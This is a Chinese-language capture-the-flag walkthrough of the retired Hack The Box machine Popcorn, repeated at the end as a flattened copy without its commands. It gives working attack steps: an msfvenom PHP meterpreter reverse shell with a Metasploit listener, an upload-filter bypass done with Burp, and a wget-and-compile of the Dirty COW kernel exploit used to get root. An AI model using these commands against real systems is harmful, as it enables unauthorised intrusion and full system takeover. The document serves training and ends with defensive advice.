HTB: Popcorn渗透测试
字数 1077 2025-08-15 21:34:06

HTB: Popcorn渗透测试教学文档

1. 靶机概述

  • 平台: Hack The Box (HTB) - 一个在线渗透测试平台
  • 靶机名称: Popcorn (已退役)
  • 难度等级: 基础
  • IP地址: 10.129.106.162 (原地址已变更)
  • 操作系统: Ubuntu Linux
  • 主要服务:
    • SSH (OpenSSH 5.1p1)
    • HTTP (Apache 2.2.12)

2. 信息收集阶段

2.1 端口扫描

使用nmap进行扫描:

nmap -sV -A -O 10.129.106.162

扫描结果:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.2.12 ((Ubuntu))

2.2 网站目录扫描

使用dirb工具扫描网站目录:

dirb http://10.129.106.162

发现重要目录:

  • http://10.129.106.162/test
  • http://10.129.106.162/torrent/

3. 漏洞探测与利用

3.1 文件上传功能分析

  1. 访问/torrent/目录,发现一个登录页面
  2. 注册新账号并登录
  3. 发现文件上传功能,但要求上传.torrent文件

3.2 制作PHP反向shell

使用msfvenom生成PHP反向shell:

msfvenom -p php/meterpreter_reverse_tcp LHOST=<攻击机IP> LPORT=4444 -f raw > shell.php

3.3 绕过文件上传限制

  1. 先上传合法的.torrent文件
  2. 使用Burp Suite拦截上传请求
  3. 修改上传内容为PHP反向shell
  4. 绕过文件类型检查成功上传

3.4 建立反向连接

  1. 在Metasploit中设置监听:
msf6 > use multi/handler
msf6 exploit(multi/handler) > set payload php/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set LHOST <攻击机IP>
msf6 exploit(multi/handler) > exploit
  1. 访问上传的PHP文件触发反向shell

4. 权限提升

4.1 获取交互式shell

在meterpreter会话中:

python -c "import pty;pty.spawn('/bin/bash')"

4.2 查找用户flag

find / -name user.txt 2>/dev/null
cat /home/<用户名>/user.txt

4.3 脏牛(Dirty COW)提权

  1. 检查内核版本:
uname -a
  1. 确认系统存在脏牛漏洞(CVE-2016-5195)

  2. 下载并编译脏牛漏洞利用代码:

wget https://www.exploit-db.com/download/40839 -O dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
  1. 执行漏洞利用程序:
./dirty
  1. 设置新密码后,切换到root用户:
su firefart

4.4 获取root flag

cat /root/root.txt

5. 关键知识点总结

  1. 目录扫描: 使用dirb等工具发现隐藏目录是渗透测试的重要步骤
  2. 文件上传绕过: 通过修改请求头或拦截请求可以绕过前端文件类型检查
  3. 反向shell: 使用msfvenom生成payload是获取系统访问的常用方法
  4. 脏牛提权: Linux内核中的竞争条件漏洞,允许本地用户获取root权限
  5. 内核版本检查: 通过uname -a查看内核版本,匹配已知漏洞

6. 防御建议

  1. 及时更新系统和内核补丁
  2. 对文件上传功能实施严格的后端验证
  3. 限制Web应用程序的权限
  4. 监控系统日志和异常行为
  5. 使用最小权限原则运行服务

7. 参考资源

  1. Hack The Box官网
  2. Metasploit文档
  3. Dirty COW漏洞详情
  4. OWASP文件上传安全指南
HTB: Popcorn渗透测试教学文档 1. 靶机概述 平台 : Hack The Box (HTB) - 一个在线渗透测试平台 靶机名称 : Popcorn (已退役) 难度等级 : 基础 IP地址 : 10.129.106.162 (原地址已变更) 操作系统 : Ubuntu Linux 主要服务 : SSH (OpenSSH 5.1p1) HTTP (Apache 2.2.12) 2. 信息收集阶段 2.1 端口扫描 使用nmap进行扫描: 扫描结果: 2.2 网站目录扫描 使用dirb工具扫描网站目录: 发现重要目录: http://10.129.106.162/test http://10.129.106.162/torrent/ 3. 漏洞探测与利用 3.1 文件上传功能分析 访问 /torrent/ 目录,发现一个登录页面 注册新账号并登录 发现文件上传功能,但要求上传.torrent文件 3.2 制作PHP反向shell 使用msfvenom生成PHP反向shell: 3.3 绕过文件上传限制 先上传合法的.torrent文件 使用Burp Suite拦截上传请求 修改上传内容为PHP反向shell 绕过文件类型检查成功上传 3.4 建立反向连接 在Metasploit中设置监听: 访问上传的PHP文件触发反向shell 4. 权限提升 4.1 获取交互式shell 在meterpreter会话中: 4.2 查找用户flag 4.3 脏牛(Dirty COW)提权 检查内核版本: 确认系统存在脏牛漏洞(CVE-2016-5195) 下载并编译脏牛漏洞利用代码: 执行漏洞利用程序: 设置新密码后,切换到root用户: 4.4 获取root flag 5. 关键知识点总结 目录扫描 : 使用dirb等工具发现隐藏目录是渗透测试的重要步骤 文件上传绕过 : 通过修改请求头或拦截请求可以绕过前端文件类型检查 反向shell : 使用msfvenom生成payload是获取系统访问的常用方法 脏牛提权 : Linux内核中的竞争条件漏洞,允许本地用户获取root权限 内核版本检查 : 通过 uname -a 查看内核版本,匹配已知漏洞 6. 防御建议 及时更新系统和内核补丁 对文件上传功能实施严格的后端验证 限制Web应用程序的权限 监控系统日志和异常行为 使用最小权限原则运行服务 7. 参考资源 Hack The Box官网 Metasploit文档 Dirty COW漏洞详情 OWASP文件上传安全指南